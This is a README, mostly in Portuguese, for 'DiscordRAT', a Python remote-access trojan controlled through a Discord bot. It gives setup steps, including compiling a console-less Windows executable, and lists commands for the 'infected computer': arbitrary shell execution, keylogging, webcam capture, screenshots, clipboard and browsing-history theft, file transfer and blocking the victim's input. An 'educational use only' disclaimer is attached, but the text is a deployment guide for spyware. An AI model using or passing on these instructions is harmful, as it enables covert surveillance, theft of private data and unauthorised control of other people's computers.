
Ferramenta de Administração Remota do Discord totalmente escrita em Python3
Ferramenta de Administração Remota do Discord totalmente escrita em Python3.
Este é um RAT controlado via Discord com mais de 20 módulos de pós-exploração.
Esta ferramenta é apenas para uso educacional, o autor não se responsabiliza por qualquer uso indevido desta ferramenta.
Primeiro, você precisa registrar um bot no portal de desenvolvedores do Discord e adicionar o bot ao servidor desejado (certifique-se de que o bot tenha privilégios de administrador).
Após criar o bot, copie o token do seu bot e cole-o na linha 17.
Instale os requisitos:
pip3 install -r requirements.txt
Então, se as etapas acima forem bem-sucedidas, após executar o arquivo python com python DiscordRAT, ou executar o executável, ele criará um novo canal e postará uma mensagem no servidor com um número de sessão gerado.
Agora seu bot deve estar disponível para uso!
Requisitos:
Python3,Windows(x64)
Compilação para exe (opcional):
Se você quiser compilar o bot para exe, pode usar o PyInstaller.
Dentro do diretório do bot execute
PyInstaller --onefile --noconsole DiscordRAT.py
Ou
python3 -m PyInstaller --onefile --noconsole "DiscordRAT.py"
Se ocorrer um erro durante a compilação, tente importar o módulo discord
PyInstaller --onefile --noconsole --hidden-import=discord DiscordRAT.py
Availaible commands are :
--> !message = Show a message box displaying your text / Syntax = "!message example"
--> !shell = Execute a shell command /Syntax = "!shell whoami"
--> !webcampic = Take a picture from the webcam
--> !windowstart = Start logging current user window (logging is shown in the bot activity)
--> !windowstop = Stop logging current user window
--> !voice = Make a voice say outloud a custom sentence / Syntax = "!voice test"
--> !admincheck = Check if program has admin privileges
--> !sysinfo = Gives info about infected computer
--> !history = Get computer navigation history
--> !download = Download a file from infected computer
--> !upload = Upload file from website to computer / Syntax = "!upload file.png" (with attachment)
--> !cd = Changes directory
--> !write = Type your desired sentence on infected computer
--> !wallpaper = Change infected computer wallpaper / Syntax = "!wallpaper" (with attachment)
--> !clipboard = Retrieve infected computer clipboard content
--> !geolocate = Geolocate computer using latitude and longitude of the ip adress with google map / Warning : Geolocating IP adresses is not very precise
--> !startkeylogger = Starts a keylogger / Warning : Likely to trigger AV
--> !stopkeylogger = Stops keylogger
--> !dumpkeylogger = Dumps the keylog
--> !volumemax = Put volume at 100%
--> !volumezero = Put volume at 0%
--> !idletime = Get the idle time of user's on target computer
--> !sing = Play chosen video in background
--> !stopsing = Stop video playing in background
--> !blockinput = Blocks user's keyboard and mouse / Warning : Admin rights are required
--> !unblockinput = Unblocks user's keyboard and mouse / Warning : Admin rights are required
--> !screenshot = Get the screenshot of the user's current screen
--> !exit = Exit program
--> !kill = Kill a session or all sessions except current one / Syntax = "!kill session-3" or "!kill all"
Se você tiver problemas com a instalação do win32api ou outros módulos, tente instalá-los em um ambiente virtual python.
Por favor, evite abrir issues sobre erros relacionados a módulos, pois isso é causado pela sua instalação do Python e não é um problema inerente do DiscordRAT.
Se você encontrar "AttributeError: module 'enum' has no attribute 'IntFlag'" ao compilar com PyInstaller, faça:
pip uninstall enum34